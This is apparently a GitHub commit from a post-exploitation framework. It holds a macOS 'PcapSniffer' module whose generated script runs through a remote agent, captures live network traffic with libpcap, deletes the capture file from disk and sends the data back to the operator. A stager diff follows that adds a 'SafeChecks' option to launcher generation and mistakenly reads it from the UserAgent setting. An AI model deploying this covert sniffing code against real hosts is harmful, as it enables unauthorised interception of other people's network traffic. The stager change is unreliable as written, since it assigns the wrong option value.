Alexander Rymdeko-Harvey
GitHub
commit
85e28b2757
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#!/usr/bin/python
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class Module:
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def __init__(self, mainMenu, params=[]):
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# metadata info about the module, not modified during runtime
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self.info = {
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# name for the module that will appear in module menus
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'Name': 'PcapSniffer',
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# list of one or more authors for the module
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'Author': ['Alex Rymdeko-Harvey', '@Killswitch-GUI'],
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# more verbose multi-line description of the module
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'Description': 'This module will do a full network stack capture.',
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# True if the module needs to run in the background
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'Background' : False,
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# File extension to save the file as
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'OutputExtension' : "pcap",
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# if the module needs administrative privileges
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'NeedsAdmin' : True,
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# True if the method doesn't touch disk/is reasonably opsec safe
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'OpsecSafe' : False,
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# Use on disk execution method, rather than a dynamic exec method
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'RunOnDisk' : False,
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# the module language
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'Language' : 'python',
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# the minimum language version needed
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'MinLanguageVersion' : '2.6',
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# the imports required for this module
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'Imports' : ['ctypes','threading','sys','os','errno','base64'],
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# list of any references/other comments
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'Comments': [
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'Using libpcap.dylib we can perform full pcap on a remote host.'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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# The 'Agent' option is the only one that MUST be in a module
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'Description' : 'Agent to run from.',
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'Required' : True,
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'Value' : ''
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},
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'CaptureInterface': {
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'Description' : 'Set interface name ie. en0 (Auto resolve by default)',
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'Required' : False,
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'Value' : ''
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},
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'MaxPackets': {
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'Description' : 'Set max packets to capture.',
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'Required' : True,
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'Value' : '100'
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},
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'SavePath': {
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'Description' : 'Path of the file to save',
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'Required' : True,
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'Value' : '/tmp/debug.pcap'
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},
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'PcapDylib': {
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'Description' : 'Path of the Pcap Dylib (Defualt)',
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'Required' : True,
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'Value' : '/usr/lib/libpcap.A.dylib'
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},
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'LibcDylib': {
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'Description' : 'Path of the std C Dylib (Defualt)',
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'Required' : True,
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'Value' : '/usr/lib/libSystem.B.dylib'
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},
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'Debug' : {
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# The 'Agent' option is the only one that MUST be in a module
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'Description' : 'Enable to get verbose message status (Dont enable OutputExtension for this).',
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'Required' : True,
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'Value' : 'False'
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},
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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# During instantiation, any settable option parameters
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# are passed as an object set to the module and the
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# options dictionary is automatically set. This is mostly
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# in case options are passed on the command line
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if params:
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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script = '\n'
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for item in self.info['Imports']:
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script += "import %s \n" % item
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savePath = self.options['SavePath']['Value']
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Debug = self.options['Debug']['Value']
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maxPackets = self.options['MaxPackets']['Value']
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libcPath = self.options['LibcDylib']['Value']
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pcapPath = self.options['PcapDylib']['Value']
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if self.options['CaptureInterface']['Value']:
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script += "INTERFACE = '%s' \n" % self.options['CaptureInterface']['Value']
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else:
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script += "INTERFACE = '' \n"
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script += "DEBUG = %s \n" % Debug
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script += "PCAP_FILENAME = '%s' \n" % savePath
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script += "PCAP_CAPTURE_COUNT = %s \n" % maxPackets
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script += "OSX_PCAP_DYLIB = '%s' \n" % pcapPath
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script += "OSX_LIBC_DYLIB = '%s' \n" % libcPath
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script += R"""
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IN_MEMORY = False
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PCAP_ERRBUF_SIZE = 256
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packet_count_limit = ctypes.c_int(1)
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timeout_limit = ctypes.c_int(1000) # In milliseconds
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err_buf = ctypes.create_string_buffer(PCAP_ERRBUF_SIZE)
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class bpf_program(ctypes.Structure):
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_fields_ = [("bf_len", ctypes.c_int),("bf_insns", ctypes.c_void_p)]
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class pcap_pkthdr(ctypes.Structure):
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_fields_ = [("tv_sec", ctypes.c_long), ("tv_usec", ctypes.c_long), ("caplen", ctypes.c_uint), ("len", ctypes.c_uint)]
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class pcap_stat(ctypes.Structure):
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_fields_ = [("ps_recv",ctypes.c_uint), ("ps_drop",ctypes.c_uint), ("ps_ifdrop", ctypes.c_int)]
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def pkthandler(pkthdr,packet):
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cp = pkthdr.contents.caplen
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if DEBUG:
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print "packet capture length: " + str(pkthdr.contents.caplen)
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print "packet tottal length: " + str(pkthdr.contents.len)
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print(pkthdr.contents.tv_sec,pkthdr.contents.caplen,pkthdr.contents.len)
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print packet.contents[:cp]
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if DEBUG:
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print "-------------------------------------------"
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libc = ctypes.CDLL(OSX_LIBC_DYLIB, use_errno=True)
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if not libc:
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if DEBUG:
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print "Error loading C libary: %s" % errno.errorcode[ctypes.get_errno()]
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if DEBUG:
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print "* C runtime libary loaded: %s" % OSX_LIBC_DYLIB
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pcap = ctypes.CDLL(OSX_PCAP_DYLIB, use_errno=True)
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if not pcap:
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if DEBUG:
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print "Error loading C libary: %s" % errno.errorcode[ctypes.get_errno()]
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if DEBUG:
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print "* C runtime libary loaded: %s" % OSX_PCAP_DYLIB
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print "* C runtime handle at: %s" % pcap
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print "-------------------------------------------"
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if not INTERFACE:
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pcap_lookupdev = pcap.pcap_lookupdev
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pcap_lookupdev.restype = ctypes.c_char_p
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INTERFACE = pcap.pcap_lookupdev()
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if DEBUG:
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print "* Device handle at: %s" % INTERFACE
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net = ctypes.c_uint()
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mask = ctypes.c_uint()
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pcap.pcap_lookupnet(INTERFACE,ctypes.byref(net),ctypes.byref(mask),err_buf)
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if DEBUG:
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print "* Device IP to bind: %s" % net
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print "* Device net mask: %s" % mask
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#pcap_t *pcap_open_live(const char *device, int snaplen,int promisc, int to_ms, char *errbuf)
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pcap_open_live = pcap.pcap_open_live
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pcap_open_live.restype = ctypes.POINTER(ctypes.c_void_p)
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pcap_create = pcap.pcap_create
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pcap_create.restype = ctypes.c_void_p
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#pcap_handle = pcap.pcap_create(INTERFACE, err_buf)
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pcap_handle = pcap.pcap_open_live(INTERFACE, 1024, packet_count_limit, timeout_limit, err_buf)
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if DEBUG:
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print "* Live capture device handle at: %s" % pcap_handle
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pcap_can_set_rfmon = pcap.pcap_can_set_rfmon
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pcap_can_set_rfmon.argtypes = [ctypes.c_void_p]
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if (pcap_can_set_rfmon(pcap_handle) == 1):
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if DEBUG:
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print "* Can set interface in monitor mode"
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pcap_pkthdr_p = ctypes.POINTER(pcap_pkthdr)()
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packetdata = ctypes.POINTER(ctypes.c_ubyte*65536)()
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#print pcap.pcap_next(pcap_handle,ctypes.byref(pcap_pkthdr_p))
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if DEBUG:
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print "-------------------------------------------"
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pcap_dump_open = pcap.pcap_dump_open
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pcap_dump_open.restype = ctypes.POINTER(ctypes.c_void_p)
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pcap_dumper_t = pcap.pcap_dump_open(pcap_handle,PCAP_FILENAME)
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if DEBUG:
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print "* Pcap dump handle created: %s" % pcap_dumper_t
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print "* Pcap data dump to file: %s" % (PCAP_FILENAME)
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print "* Max Packets to capture: %s" % (PCAP_CAPTURE_COUNT)
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print "-------------------------------------------"
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# CMPFUNC = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p)
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# def pkthandler_callback(pcap_pkthdr,pdata):
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# pcap.pcap_dump(pcap_dumper_t,pcap_pkthdr,pdata)
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# cmp_func = CMPFUNC(pkthandler_callback)
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# pcap.pcap_loop(pcap_handle, PCAP_CAPTURE_COUNT, cmp_func, 0)
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c = 0
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while True:
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if (pcap.pcap_next_ex(pcap_handle, ctypes.byref(pcap_pkthdr_p), ctypes.byref(packetdata)) == 1):
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pcap.pcap_dump(pcap_dumper_t,pcap_pkthdr_p,packetdata)
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#pkthandler(pcap_pkthdr_p,packetdata)
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c += 1
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if c > PCAP_CAPTURE_COUNT:
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if DEBUG:
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print "* Max packet count reached!"
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break
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if DEBUG:
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print "-------------------------------------------"
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print "* Pcap dump handle now freeing"
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pcap.pcap_dump_close(pcap_dumper_t)
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if DEBUG:
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print "* Device handle now closing"
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if not (pcap.pcap_close(pcap_handle)):
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if DEBUG:
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print "* Device handle failed to close!"
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if not IN_MEMORY:
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f = open(PCAP_FILENAME, 'rb')
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data = f.read()
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f.close()
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os.system('rm -f %s' % PCAP_FILENAME)
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sys.stdout.write(data)
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"""
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# add any arguments to the end exec
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return script
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@ -57,6 +57,11 @@ class Module:
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'Required' : True,
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'Value' : ''
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},
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'SafeChecks' : {
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'Description' : 'Enable SafeChecks.',
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'Required' : True,
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'Value' : 'True'
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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@ -84,9 +89,10 @@ class Module:
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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userAgent = self.options['UserAgent']['Value']
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safeChecks = self.options['UserAgent']['Value']
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# generate the launcher code
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent)
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
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if launcher == "":
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print helpers.color("[!] Error in launcher command generation.")
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